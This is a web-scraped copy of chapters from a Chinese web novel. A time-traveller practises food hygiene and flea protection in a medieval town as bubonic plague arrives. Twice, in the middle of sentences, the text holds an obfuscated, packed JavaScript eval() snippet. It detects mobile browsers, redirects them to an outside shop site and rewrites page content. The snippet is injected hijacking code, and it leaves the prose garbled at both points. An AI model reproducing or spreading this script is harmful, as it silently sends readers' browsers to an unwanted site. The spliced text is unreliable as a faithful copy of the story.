每一处细节:颜色深浅、叶脉走向、果实形状、气味差异、生长部位(婆婆用手势比划了“长在水边”和“长在石缝里”的区别)。 这个过程持续了大概半个小时。 结束时,林越脑子里已经塞满了各种植物特征,像是刚填完一个庞大的数据库。但他知道,这些数据还远远不够——缺乏系统性分类,缺乏理论支撑,缺乏足够的样本量。 可在这个时代,这已经是能获取的最高质量信息了。 “谢谢。”林越用刚学会的本地语言单词说,发音生硬但清晰。 玛格丽特婆婆点点头,然后指了指角落的炉灶,又指了指林越,最后做了个“煮”的动作。 意思是:你可以用我的炉灶。 林越怔了一下。 他看向那个简陋的灶台,又看向老人平静的脸。这不是无偿帮助——昨天他帮忙劈了一堆木柴,堆在屋后,足够她用上好几天。 但也不是纯粹的交换。 因为炉灶的使用权,在这个燃料珍贵的环境里,其实是一种相当程度的信任和许可。 林越点了点头,再次说:“谢谢。” 然后他指了指门外,意思是自己要去弄点食物回来。 灰石镇的市场在上午时分开始热闹起来。 说是市场,其实只是一条相对宽阔的土路,两旁摆着各种摊位。有些摊子有简陋的木架,有些干脆就是把货物直接铺在地上的一块旧布上。 林越走在摊位之间,脚步放得很慢。 他的目光不再是昨天那种“观察陌生环境”的扫视,而是变成了有针对性的、系统化的评估。 第一个摊位:卖谷物。几个粗麻布袋敞开着口,露出里面颜色不一的颗粒。有的看起来还算完整,有的已经能看到霉变的黑点。摊主是个中年男人,正蹲在摊位后,用木碗舀起一些谷物,给一个顾客看。 林越走近,但没有蹲下,只是站在一步之外观察。 谷物颜色:黄褐色,但夹杂着暗色颗粒。 气味:有淡淡的霉味,混着尘土味。 虫蛀迹象:能看到一些细小的黑色虫子在谷物表面缓慢移动。 他脑子里立刻跳出《食品安全体系v1.0》的判定结果:不符合标准。霉变风险、虫蛀污染、存储条件不明。 继续走。 第二个摊位:卖干肉。几条风干的肉条挂在木架上,颜色深褐,表面有一层薄薄的白霜——可能是盐,也可能是霉菌。摊主是个女人,正在用刀切下一小块,递给一个顾客试吃。 林越停下脚步,观察那个顾客。 对方接过肉块,放进嘴里,咀嚼了几下,然后点头,从怀里掏出几枚铜币。 交易完成。 但林越注意到,那个女人切肉用的刀,刀身上有明显的暗红色污渍。而她切肉前,没有擦拭刀身,也没有清洗双手——她的手上有泥土,还有不明污垢。 交叉污染风险:高。 肉类来源不明,储存方式(露天悬挂)不符合防护要求,处理过程卫生条件极差。 第三个摊位:卖野菜。各种绿色的植物堆在一个大篮子里,有些已经蔫了,叶子边缘开始发黄。摊主是个老人,正低头整理那些植物,把明显坏掉的部分挑出来扔到地上。 林越看着那些被扔掉的烂叶,又看了看篮子里的“好”的部分。 他认得其中一种——是玛格丽特婆婆展示过的可食用植物,但眼前这些,很多叶子已经被虫咬得满是孔洞,还有一些沾着泥块。 新鲜度:低。 清洁度:低。 可食用性:理论上可以,但需要仔细挑拣和清洗。 林越在这个摊位前多站了一会儿,脑子里快速计算: 价格:很便宜,几株野菜只要一枚最小的铜币。 风险:相对较低,因为植物本身无毒,主要风险是虫蛀和污垢,可以通过清洗和煮沸降低。 收益:提供维生素和纤维,补充谷物和肉类缺乏的营养成分。 成本效益比:高。 他决定买。 但购买过程也需要符合规范。 林越蹲下来,先指了指篮子,然后用眼神询问摊主:可以自己挑吗? 老人抬头看他,浑浊的眼睛里没什么情绪,但还是点了点头。 林越开始挑。 不是随便抓一把,而是每一株都仔细检查:叶子是否完整、有无虫洞、颜色是否正常、根部有无腐烂迹象。 他挑得很慢,很仔细。 摊主看着他,眼神从最初的漠然,慢慢变成了疑惑,最后甚至带了一丝不耐烦——大概没见过买野菜还这么挑三拣四的人。 但林越没管。 因为这不是“挑三拣四”,这是“生存筛选”。 最后他挑出了十二株相对完好的野菜,付了两枚小铜币。老人接过钱,摆了摆手,意思是快走吧别耽误生意。 林越把野菜用旧布小心包好,继续往前走。 接下来的几个摊位,他都没有购买。 一个卖奶酪的摊位:奶酪表面已经开裂,有霉斑,气味刺鼻。 一个卖鱼的摊位:鱼眼浑浊,鳃呈暗红色,有强烈的腥臭味——明显不新鲜。 一个卖面包的摊位:面包硬得像石头,表面有焦黑的部分,掰开后能看到里面颜色不均,有的地方发白,有的地方发灰。 走完整条市场街,林越手里除了那包野菜,只多了两小袋谷物——是从一个相对干净的摊位买的,谷物颜色均匀,没有明显霉变,摊主用相对干净的麻袋储存。 还有一块盐。 不是现代那种精细的白色盐,而是灰褐色、结块粗大的岩盐。摊主用石锤敲下一小块,林越付了钱。 这三样东西,加上玛格丽特婆婆许可使用的炉灶,就是他今天“食品安全实验”的全部材料。 回到玛格丽特婆婆的木屋时,已经是中午。 婆婆不在屋里,门虚掩着。林越推门进去,把买来的东西放在桌上,然后走到炉灶前。 第一步:清洁。 他从屋外水桶里舀了一瓢水,倒进铁锅,然后把锅架到炉灶上。点火是个技术活——用火石和火绒,他试了三次才成功。火苗燃起后,他加入更多干草和小木柴,让火势稳定。 锅里的水开始冒热气。 林越没有等水沸腾,而是直接用手——洗干净的手——把野菜一株株放进锅里。水面淹没过野菜,他开始用手轻轻搅动,让水流冲走叶片上的泥土和杂物。 这个过程持续了大概两分钟。 然后他把野菜捞出来,倒掉第一遍水,重新舀水入锅,再次加热。 这一次,水沸腾了。 咕嘟咕嘟的气泡在锅底升起,水蒸气带着野菜特有的青草味弥漫开来。林越盯着锅里的水,心里默数:三百秒,五分钟。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17188580|195946||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 煮沸时间必须足够。 这是他能做到的、最基础的杀菌处理。 等待的时候,他处理谷物。先把谷物倒进另一个小陶碗里,仔细挑出里面的小石子和杂质,然后用水冲洗——同样是两遍,第一遍去浮尘,第二遍稍微搓洗。 谷物不能煮沸太久,否则会变成糊状。所以他的计划是:等野菜煮好后,用同一锅水,加入谷物,煮到刚好熟透但还有颗粒感的程度。 盐要在最后放,因为过早放盐会让食材出水,影响口感。 ……想到这里,林越突然停住了。 “口感?”他对着锅里沸腾的野菜,自言自语地重复了这个词,“我居然在考虑口感。” 昨天还因为一碗肉汤送了命,今天就开始思考“怎么煮野菜更好吃”了。 人类的适应能力,有时候荒诞得可笑。 但笑着笑着,林越意识到,这其实是一种进步。 从“只要能填肚子就行”的绝望,到“能不能吃得更安全”的求生,再到“能不能吃得好一点”的追求——这是生存质量的阶梯式爬升。 哪怕只是爬了一小阶。 五分钟到了。 他用两根削过的木棍当筷子,把野菜从锅里捞出来,放在准备好的干净石片上。然后往锅里加入新的水,再次煮沸后,倒入谷物。 这一次,他需要控制火候。 火太大,锅底会焦;火太小,煮不熟。他蹲在灶台前,眼睛盯着锅里翻腾的水和谷物,手里拿着木柴,随时准备调整火势。 这个姿势,这个专注度,让林越脑子里突然闪过一个画面:不是中世纪的生存挣扎,而是现代厨房里,他第一次尝试做菜时的场景。 也是这么蹲着,也是这么盯着锅,也是这么手忙脚乱地控制火候。 区别是,那时候失败了顶多是菜糊了,现在失败了,可能是命没了。 “压力等级不一样。”他低声总结,“但操作原理相通。” 谷物煮了大概十五分钟,颗粒开始膨胀,吸收了大部分水分。林越用木棍挑出一粒,吹凉后放进嘴里。 熟了,但还保持一定的嚼劲。 他迅速把锅从火上移开,然后把煮好的谷物也倒出来,放在另一块石片上。 最后一步:调味。 岩盐块需要研磨。他找了一块相对平整的小石头,把盐块放在上面,用另一块石头小心地敲打、研磨。盐粒很粗,有些甚至还是小颗粒,但这已经是能获取的最好调味品了。 撒一点在野菜上,撒一点在谷物上。 然后,他坐下来,面对着两块石片上的食物。 野菜:经过煮沸后颜色变得更深,有些发黄,但看起来还算完整。撒上盐粒后,散发出一种混合了青草和咸味的简单香气。 谷物:煮成了淡黄色的粥状,但还能看到颗粒。热气袅袅上升,带着谷物特有的朴实香味。 林越没有立刻吃。 他先看了看自己的双手——用清水仔细洗过,指甲缝里的污垢已经尽量清理干净。 然后他看了看盛放食物的石片——用沸水烫过,放在干净的地方晾干。 再看了看周围环境:木屋虽然简陋,但玛格丽特婆婆保持得相对整洁,没有明显的污物和虫鼠痕迹。 最后,他看向那两份食物。 脑子里快速过了一遍《食品安全体系v1.0》的检查项: 食物来源:野菜(市场购买,经过挑选)、谷物(相对干净的摊位)、盐(岩盐,天然矿物,风险较低)。 烹饪处理:充分煮沸(野菜五分钟,谷物十五分钟)。 存储防护:从购买到烹饪间隔时间短,处理过程无长时间暴露。 交叉污染预防:炊具(铁锅)经过煮沸消毒,手部清洁,生熟分开处理(虽然只有一种食材,但流程符合)。 风险评级:低。 可以吃。 林越拿起一株野菜,放进嘴里。 味道……很一般。 煮过头了,口感有些软烂,盐粒没有完全融化,偶尔会咬到一小块咸得发苦的盐疙瘩。野菜本身的涩味没有被完全去除,混着淡淡的土腥味。 但它是热的。 是干净的。 是安全的。 林越慢慢咀嚼着,感受着食物在口腔里被碾碎、被吞咽、然后滑入食道的过程。胃部接收到食物的信号,开始分泌消化液,发出轻微的、满足的蠕动声。 他吃了一株,又吃了一株。 然后开始吃谷物。 谷物煮得恰到好处,颗粒感还在,但足够软糯。岩盐的咸味融进去,让平淡的谷物有了基本的味道。他一口接一口地吃着,速度不快,但很稳定。 整个过程里,他的注意力始终集中在食物本身:温度、口感、味道、吞咽时的感觉。 以及,身体最细微的反应。 有没有胃部不适?没有。 有没有喉咙发痒?没有。 有没有头晕、恶心、腹痛的征兆?没有。 安全。 这顿简单到简陋的餐食,是他来到这个世界后,第一顿真正意义上“安全”的食物。 吃完最后一口谷物,林越放下木棍,靠在墙边,长长地舒了一口气。 胃里有了食物,身体有了热量,脑子也恢复了更清晰的运转能力。 他开始总结: “一、基础食品安全体系有效,但执行成本高——需要时间、燃料、清洁水源。” “二、可获取的食物种类极度有限,营养不均衡问题会逐渐显现。” “三、依赖玛格丽特婆婆的知识和炉灶,不具备独立性,需要尽快建立自己的烹饪条件。” “四、……” 他停顿了一下,看向手腕上那两道红痕。 “四、死亡机会还剩两次。而更大的威胁,还没真正开始。” 像是回应他的念头,门外传来了脚步声。 玛格丽特婆婆推门进来,手里抱着一些新采的草药。她看了一眼桌上吃空的石片,又看了一眼林越,然后点了点头。 那是赞许,或者说,认可。 林越站起身,想帮忙接过她手里的草药,但婆婆摆了摆手,自己走到木架前,开始整理那些新采的植物。 整理到一半,她突然停住,转头看向林越,说了几个词。 林越没完全听懂,但捕捉到了其中的关键音节:“瘟疫”、“邻镇”、“更近了”。 他心中一紧。 “什么时候?”他用生硬的本地语问。 婆婆摇摇头,指了指窗外灰蒙蒙的天空,又做了个“很多天”的手势。 不确定时间,但确定的是:威胁在逼近。 而且,从她的表情和语气来看,情况可能比林越想象的更严重。 林越沉默了几秒,然后问:“这里,安全吗?” 婆婆看着他,眼神复杂。最后,她缓缓摇了摇头。 不。 不安全。 没有哪里是安全的。 瘟疫就像风,无孔不入。灰石镇现在还没有大规模爆发,但迟早会。邻镇的消息只是前奏,真正的主旋律,还没开始演奏。 林越深吸一口气,然后缓缓吐出。 “明白了。”他说。 他明白了。 食品安全问题只是第一关。过了这一关,还有更严峻的挑战等着:鼠疫、跳蚤、糟糕的医疗条件、恐慌的人群、崩溃的秩序。 而他的死亡机会,只剩下两次。 窗外,天色开始转暗。灰石镇的又一个下午,在压抑的寂静中慢慢流逝。 林越走到门口,看向街道。 几个行人匆匆走过,脸上都带着一种麻木的、认命般的疲惫。远处,教堂的钟声响起,低沉而缓慢,像是在为谁敲响丧钟。 他抬起左手,再次看向手腕。 两道红痕,提醒着他:机会不多了。 而下一场考验,已经在地平线上露出轮廓。 34.跳蚤战争(上) 林越醒来后的第一件事,不是睁眼,是抬手。 左手举到眼前,手腕内侧的两道红痕在昏暗的光线里依然清晰可辨。两道都红得鲜艳,红得刺眼,提醒着他只剩两次死亡机会。 他盯着那两道红痕看了三秒,然后才慢吞吞地坐起来。旅店房间的天花板是发黑的木板,缝隙里能看到蛛网。空气里有股混合气味——霉味、灰尘、还有楼下厨房飘上来的某种说不清道不明的食物气息。 “早餐?”林越脑子里闪过这个念头,然后胃部适时地发出抗议。但抗议声很快被另一个更紧急的警报覆盖。 胳膊痒。 不是普通的痒,是那种集中在小范围内、带着轻微刺痛感的痒。林越低头看向左臂,靠近手肘内侧的位置,三个新鲜的红点排成不太整齐的三角阵型,每个红点中央都有个微小的凸起。 他盯着那三个红点,大脑进入分析模式: 已知信息1:红点,痒,有刺痛感。 已知信息2:中世纪环境,卫生条件约等于零。 已知信息3:昨晚睡觉前还没有。 结论:被咬了。 但被什么咬了? 林越翻身下床,走到窗边。灰石镇的清晨光线透过糊着油纸的窗户渗进来,勉强照亮房间。他借着这光仔细检查床铺——稻草垫子,粗布被褥,木板床架。然后他在被褥边缘看到几个移动的小黑点。 很小,大概芝麻大小,棕色偏黑,移动速度不快,但确实在动。 林越盯着其中一个看了五秒,看它从被褥边缘爬到木板缝隙,消失不见。 “跳蚤。”他低声说出这个词,然后脑子里自动弹出后续信息:“鼠疫传播媒介,叮咬后可能携带鼠疫杆菌,十四世纪欧洲黑死病死亡率30%-60%……” 他抬手揉了揉眉心,把那些过于详细的死亡率数据暂时压下去。现在需要的是应对方案,不是恐慌。 但另一个念头冒出来:这里的宠物平等权贯彻得真彻底。 跳蚤咬人,老鼠逛街,谁也不比谁高贵。大家都在这片土地上自由生存,自由觅食,自由传播疾病。如果动物世界也有“众生平等”的标语,灰石镇大概能拿个模范城镇奖。 林越走回床边,开始检查身体其他部位。腹股沟、腋下、脚踝——跳蚤喜欢叮咬的地方。还好,暂时只发现胳膊上那三个红点。但“暂时”这个词在这种环境里,乐观得有点可笑。 他穿好衣服,束紧腰带,脑子里已经开始列清单。 清单第一项:确认风险等级。 跳蚤叮咬本身不致命,致命的是它可能携带的东西。玛格丽特婆婆昨天那句话在耳边回响:“邻镇的瘟疫更近了。” 更近了。 近到什么程度?已经到灰石镇了?还是还在路上? 林越需要更多信息。而在这个信息闭塞的中世纪小镇,能提供可靠信息的人不多。玛格丽特婆婆是其中之一。 他推开房门下楼。旅店大堂里,老板正在擦拭一张油腻的木桌,动作敷衍得像在完成某种宗教仪式——做了,但没完全做。 “早。”林越打招呼。 老板抬头看他一眼,点点头,继续擦桌子。 “想问一下,”林越走到柜台前,“镇上最近……老鼠多吗?” 老板擦桌子的动作停了一秒,然后继续:“一直多。” “比平时更多?” 这次老板彻底停下来了。他放下抹布,看着林越,眼神里有点警惕:“你问这个干什么?” “好奇。”林越用上最无害的语气,“昨天听人说邻镇有瘟疫,有点担心。” 老板沉默了几秒,然后压低声音:“是多了。后厨的面粉袋上周被咬破三个,以前一个月才破一个。”他顿了顿,“但这话别到处说。神父说了,讨论瘟疫是对神的不敬,瘟疫是神的惩罚,我们该做的是忏悔,不是……嗯。” 不是防治。 林越听懂了潜台词。他点点头:“明白。谢谢。” 走出旅店时,清晨的空气扑面而来。林越深吸一口气,然后被呛得咳嗽——空气成分分析:65%尘土,20%牲畜粪便味,10%炊烟,5%说不清道不明的中世纪专属气息。 他朝玛格丽特婆婆的小屋走去,一边走一边在脑子里开紧急会议。 会议议题:跳蚤。 参会人员:林越的理性分析模块、风险评估模块、生存本能模块。 理性分析模块发言:“已知跳蚤存在,已知老鼠增多,已知邻镇有瘟疫。三者关联性高。建议立即采取防护措施。” 风险评估模块:“鼠疫通过跳蚤叮咬传播。当前环境跳蚤密度未知,感染概率无法精确计算,但肯定不为零。考虑到中世纪医疗条件,一旦感染,死亡率保守估计50%以上。” 生存本能模块:“痒。还有,饿。” 林越揉揉胳膊上的红点,把生存本能模块的声音调低。现在不是关注饥饿的时候,虽然胃部抗议声越来越大。 玛格丽特婆婆的小屋门虚掩着。林越敲了敲门,里面传来含糊的回应:“进来。” 推门进去,草药的气味比昨天更浓。婆婆正在捣碎某种干叶子,石臼和杵子发出有节奏的撞击声。 “婆婆早。”林越说。 玛格丽特抬头看他,眼睛在皱纹深处打量了他两秒:“早。胳膊怎么了?” 林越愣了一下,然后意识到自己刚才揉胳膊的动作被看见了。他拉起袖子,露出那三个红点:“被咬了。应该是跳蚤。” 婆婆放下杵子,走过来看了看,点点头:“是跳蚤。房间里有?” “有。” “多吗?” “看到几只,但感觉不会少。” 玛格丽特走回工作台,从架子上拿下一个小布袋,从里面抓出一把干叶子:“薄荷。碾碎了撒在床铺周围,有点用,但用处不大。”她又拿出另一个布袋,“薰衣草。一样。” 林越接过那两个布袋:“谢谢婆婆。还想问一下……邻镇的瘟疫,到底什么情况?” 玛格丽特沉默了一会儿,捣药的声音重新响起,但节奏慢了些:“发热,发抖,身上长肿块。从脖子、腋下开始,然后……人就没了。”她顿了顿,“灰石镇还没出现,但快了。老鼠多了,跳蚤就多,跳蚤多了……” 瘟疫就来了。 林越没说话,等婆婆继续。 “教会的人说,这是神对罪人的惩罚。”玛格丽特的声音很平静,但平静底下有某种尖锐的东西,“他们说,讨论怎么防治瘟疫,是在质疑神的意志。他们说,该做的是祈祷和忏悔。” “那您觉得呢?”林越问。 婆婆抬起头,眼睛在昏暗的光线里亮了一下:“我觉得,神给了我们草药,给了我们脑子。不用才是罪过。” 林越点点头。他喜欢这个回答。 “还有,”玛格丽特补充,“如果看到有人发热、长肿块,别靠近。但如果有办法……可以告诉他们的家人,来我这里拿点退热的草药。虽然不一定有用,但至少能让他们好受点。” “教会不管?” “教会管祷告。”婆婆的语气里有一丝嘲讽,“祷告治不了发热。” 林越又问了几个问题:哪些草药对退热有点用,哪些能缓解疼痛,哪些纯粹是安慰剂。玛格丽特一一回答,语气平淡得像在介绍菜市场里的萝卜白菜。 但林越听得认真。这些信息,在这个时代,可能就是生和死的区别。 离开小屋时,他手里多了三个小布袋:薄荷、薰衣草,还有一包混合的退热草药。婆婆没收钱,只说:“用完再来拿。” 回到旅店房间,林越开始执行防护计划。 第一步:个人防护。 他从包袱里找出几块碎布条——原本是打算当抹布用的,现在有了更重要的用途。布条撕成合适宽度,分别扎在裤腿和袖口。扎紧,确保没有缝隙。 然后处理薄荷和薰衣草。干叶子放在木板上,用另一个木板压碎。碎叶子发出清凉的香气,在充满霉味的房间里像一股清流。 林越把碎叶子分成两份。一份缝进另一个小布袋——用针线活不太熟练的手指艰难地缝了个歪歪扭扭的袋子,挂在腰带上。另一份撒在床铺周围,窗台边缘,门缝底下。 做完这些,他坐在床边,开始每日检查。 脱掉上衣,检查腋下、胸口、后背。还好,没有新红点。裤子脱掉,检查腹股沟、大腿内侧。也没有。 但他知道,这只是时间问题。跳蚤不会因为他撒了点薄荷就集体搬家。它们只是暂时避开这片“气味异常”的区域,等气味淡了,或者饿了,又会回来。 第二步:环境改造。 林越下楼找旅店老板:“老板,房间的床铺能帮忙晒晒吗?被褥有点潮。” 老板从账本里抬起头,看了他一眼:“客人都这样,习惯了。” “我可以自己晒,就在后院,晒完自己拿回来。” 老板沉默了几秒,然后挥挥手:“随便你。但丢了不赔。” “明白。” 林越抱着被褥和稻草垫子下楼,在后院找了块相对干净的空地铺开。阳光照在发黄的布料上,扬起一小片灰尘。 他站在旁边看了会儿,脑子里评估这个操作的性价比。 收益:阳光紫外线能杀死部分跳蚤和虫卵,干燥环境不适合跳蚤生存。 成本:半小时时间,一点体力。 结论:值得做,但别指望奇迹。 回到房间,林越从包袱里又翻出一个小纸包——石灰粉。这是他前天在市场买的,原本打算用来处理可能的伤口消毒,现在有别的用途。 石灰粉沿着墙角撒了一圈,薄薄的一层。跳蚤不喜欢石灰的刺激性气味,这算是一种微弱威慑。 做完这一切,林越坐在床边,从怀里掏出那本越来越厚的“生存笔记”,翻开新的一页。 标题:《中世纪防虫防鼠操作手册v1.0》 内容: 个人防护:扎紧裤腿袖口,佩戴驱虫香包(薄荷/薰衣草)。 环境改造:晾晒被褥,墙角撒石灰粉。 日常检查:早晚各一次,重点检查腋下、腹股沟等部位。 风险认知:跳蚤=鼠疫传播媒介,老鼠增多=风险增高。 信息获取渠道:玛格丽特婆婆(草药知识),市井观察(疫情动态)。 备注:防护效果有限,核心目标是降低概率,不是消除风险。 写完,林越盯着最后一句话看了几秒。 降低概率,不是消除风险。 在这个时代,在这个地方,消除风险是不可能的。他能做的,只是把感染概率从“很高”降到“比较高”,或者从“比较高”降到“有一定可能”。 而剩下的,交给运气。 他合上本子,肚子又发出抗议。这次抗议声大到无法忽视。 该去市场了。买食物,顺便买更多薄荷——驱虫香包需要补充,而且他也想观察一下,玛格丽特婆婆说的“快了”,到底快到什么程度。 灰石镇的市场在镇中心广场,围绕着一口古井展开。林越到的时候,正是上午最热闹的时候。摊贩的叫卖声、顾客的讨价还价声、牲畜的叫声混在一起,形成一种嘈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17190892|195946||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 杂但充满生命力的背景音。 他先去了粮食摊位,用最后几个铜币买了点黑面包和干豆子。然后去找卖香料的摊位——薄荷应该算香料的一种。 就在他对比两家摊位的薄荷质量和价格时,广场另一边突然传来骚动。 人群像被投入石子的水面,迅速向四周散开。原本挤在一起的人们突然拉开距离,中间空出一小片区域。 林越踮起脚看去。 空地区域中心,一个卖陶器的摊主倒在地上,身体在剧烈颤抖。旁边打翻的陶罐碎了一地,但他似乎毫无察觉,只是蜷缩着,一只手捂着脖子。 周围的人群退得更远了。 有人低声说:“热病……” 另一个人声音大些:“是黑死病!黑死病来了!” 这个词像某种咒语,瞬间冻结了周围的空气。原本还在观望的人们也开始后退,眼神里充满恐惧。 林越站在原地没动。他离得比较远,大概二十米左右,这个距离相对安全。他眯起眼睛,仔细看那个倒地的摊主。 颤抖,高热导致的脸色潮红,还有……脖子。 摊主捂着的脖子侧面,有一个明显的肿块,肿得发亮,皮肤紧绷。 淋巴结肿大。鼠疫的典型症状之一。 林越脑子里自动调出知识库:腺鼠疫,鼠疫杆菌通过跳蚤叮咬进入人体,在叮咬部位最近的淋巴结繁殖,导致淋巴结炎性肿胀、疼痛、高热。如果不治疗…… 死亡率很高。在这个时代,几乎等于死亡宣判。 周围的人群还在退。有人转身就跑,撞倒了旁边的摊位也顾不上。有人在胸前画十字,嘴里念念有词。还有人在指责——指着那个倒地的摊主,声音尖利:“他一定是罪人!得罪了上帝!” “对!神在惩罚他!” “离他远点,免得被牵连!” 林越听着这些话,心里涌起一股复杂的情绪。有愤怒,但更多的是无力。他知道这些人在恐惧驱动下的反应,在历史上重复过无数次。找替罪羊,归咎于超自然力量,拒绝理性思考——这是人类面对未知灾难时的本能。 但他也知道,愤怒没用,讲道理更没用。 他的目光扫过人群,看到一个女人——应该是摊主的妻子或家人,正试图冲过去,但被旁边的人拉住。 “别过去!你会被传染的!” “可他是我丈夫!” “你想一起死吗?” 拉扯,哭喊,混乱。 林越深吸一口气,然后缓缓吐出来。他不能直接上前——暴露风险太大,而且他确实没有治疗鼠疫的能力。但他可以做点什么。 他绕到人群外围,找到一个看起来相对冷静的中年男人——刚才拉住那个女人的邻居之一。 “大叔,”林越压低声音,“那位倒地的摊主,他家人如果需要……玛格丽特婆婆那里有些草药,可能对退热有点帮助。” 中年男人警惕地看着他:“你是谁?” “路过的人。”林越说,“只是传个话。去不去,他们自己决定。” 说完,他转身离开,没有回头。 他知道这个建议有多大用——大概等于用创可贴贴大动脉出血。但至少,比什么都不做强。至少,给了那个哭泣的女人一个方向,哪怕那个方向通往的只是一线微弱的希望。 林越继续在市场上转了一圈,买了需要的薄荷,又观察了一会儿。恐慌在蔓延,虽然还没到全面爆发的程度,但已经能感觉到那种紧绷的气氛。 人们交谈时声音压得更低,眼神更警惕,肢体接触明显减少。原本拥挤的市场,现在人与人之间都下意识保持着一小段距离。 社会秩序的裂痕,已经开始显现。 回旅店的路上,林越走得很慢。他观察街道两边的房屋,观察行人的表情,观察这个小镇在瘟疫阴影下的细微变化。 然后他听到了钟声。 不是平常的整点报时钟声,而是急促的、连续的敲击声,从镇子另一头的教堂传来。钟声里透着某种紧迫感,像在宣告什么紧急事件。 林越停下脚步,侧耳倾听。 钟声持续了大概一分钟,然后停下。街道上有几个人也停下来,抬头看向教堂方向,脸上露出不安的表情。 林越继续往前走,在拐角处听到两个路人的窃窃私语。 “……又发现三个。” “东街那边,铁匠一家……” “天哪……” 声音越来越远,两个路人匆匆离开,像在躲避什么看不见的东西。 林越站在原地,暮色开始笼罩街道。他抬起左手,手腕伸到眼前。 两道红痕,在逐渐暗淡的光线里,依然红得鲜艳,红得刺眼。 他看着那两道红痕,脑子里闪过一个清晰的认知: 跳蚤战争,只是开始。 真正的瘟疫海啸,正在登陆。 而他建立的那些防护措施——扎紧的裤腿,腰间的香包,墙角的石灰粉,晾晒过的被褥——在这场海啸面前,脆弱得像纸糊的盾牌。 风一吹,浪一拍,就会碎。 林越放下手,继续朝旅店走去。步伐不快,但很稳。 他知道接下来要面对什么。更多的病例,更深的恐慌,更严酷的生存考验。而他只剩两次死亡机会。 两次。 走到旅店门口时,他回头看了一眼暮色中的灰石镇。炊烟从烟囱升起,但比平时少。街道上行人稀少,窗户紧闭。 这个小镇,正在沉入某种漫长而黑暗的夜晚。 林越推门进去。 战争,开始了。 35.跳蚤战争(下) 林越醒来的第一件事,不是睁眼,是检查。 手摸向胳膊,从肩膀到手腕,一寸寸皮肤按过去。没有新疙瘩,没有新痒点。他这才睁开眼,借着清晨微弱的光线仔细看——左臂那三个跳蚤包还在,颜色从鲜红变成了暗红,但周围没有新的红点。 他又检查另一只胳膊,胸口,后背,腹股沟,脚踝。动作熟练得像在完成某种每日质量检测流程:项目一,皮肤完整性检查;项目二,异常红点排查;项目三,瘙痒程度评估。 结果:全部通过。 林越坐起来,低头看手腕。两道红痕依然鲜艳,在晨光里红得有点刺眼。他看着那两道红色,脑子里自动计算:死亡机会剩余两次,每次决策的容错率50%。不对,不能这么算——死亡不是概率题,是二选一。要么活,要么死。 他穿好衣服,束紧裤腿上的布条袜套,检查腰间的驱虫香包——薄荷和薰衣草混合的清凉气味已经淡了很多,但还能闻到。墙角那圈石灰粉还在,薄薄的一层白色,像给房间画了个结界。 “暂时有效。”林越对自己说。 但他知道“暂时有效”在这种环境里是什么意思。就像纸糊的防弹衣,挡得住流言蜚语,挡不住真枪实弹。就像用透明胶带补漏水的屋顶,晴天没事,一下雨就现原形。 推门下楼时,旅店大堂空荡荡的。老板不在柜台后面,桌上那本油腻的账本摊开着,笔搁在旁边,墨迹还没干透。 林越走到门口,推开木门。 灰石镇的清晨,安静得有点诡异。 街道上行人稀少,而且都走得很快,低着头,用布巾捂住口鼻。窗户大多紧闭着,有几扇窗后面能看到人影晃动,但很快又消失了。空气里有股混合气味——草药烟熏的苦味,还有某种说不清道不明的……恐慌的味道。 恐慌有味道吗?林越觉得有。那是一种紧绷的、酸涩的、带着汗味和呼吸急促的味道。 他沿着街道往广场走,路上遇到了三个行人。第一个是中年男人,背着一大袋面粉,脚步匆匆,眼神警惕地扫过林越,然后迅速移开。第二个是老年妇人,手里抱着一捆布料——做衣服?还是做裹尸布?林越没敢细想。第三个是年轻人,空着手,但脸上那种茫然和恐惧的表情,比背负重物的人看起来更沉重。 走到广场时,教堂的钟声响了。 不是整点报时的那种悠长钟声,而是急促的、连续的三下敲击:咚,咚,咚。 林越停下脚步,抬头看向教堂方向。钟声在清晨的空气里回荡,然后消失。广场上原本还有几个摆摊的人,听到钟声后,动作都停了一秒。然后有人开始收摊,有人加快速度,有人站在原地,抬头看天,好像在等待什么。 三下钟声,代表三个新的死亡。 这是灰石镇最近形成的默契——不,不是默契,是恐惧催生出来的某种残酷的通讯系统。教堂不会宣布谁死了,不会说死因是什么,不会告诉你怎么预防。它只是敲钟,用声音在镇子上空画下无形的墓碑。 林越转身往回走,准备去玛格丽特婆婆的小屋。但他没走几步,就听到身后传来争吵声。 “你不能走!领主有令,任何人不得离开灰石镇!” “我母亲在邻镇,她病了,我要去看她!” “出去就是死,你留在镇子里还可能活!” “留在这里才是等死!” 林越回头看去,城门口聚集了十几个人。几个守卫手持长矛,拦在门口。想出去的人群情激愤,但没有人真的敢冲过去——长矛尖在晨光里闪着冷光。 这是“逃离派”和“封锁派”的对峙。林越观察了几秒,发现一个规律:想离开的大多是年轻人,或者独身者。拖家带口的反而犹豫,站在人群外围,眼神在守卫和家人之间来回移动。 他继续往前走,经过市场。这里的情况更混乱。 原本应该摆满摊位的地方,现在只有零星几个摊子还在营业。一个卖粮食的老头面前围了七八个人,都在抢购面粉和豆子。价格牌上的数字被划掉又重写,划掉又重写,最后的价格是三天前的三倍。 “我要十磅面粉!” “给我留五磅豆子!” “钱在这里,快给我装!” 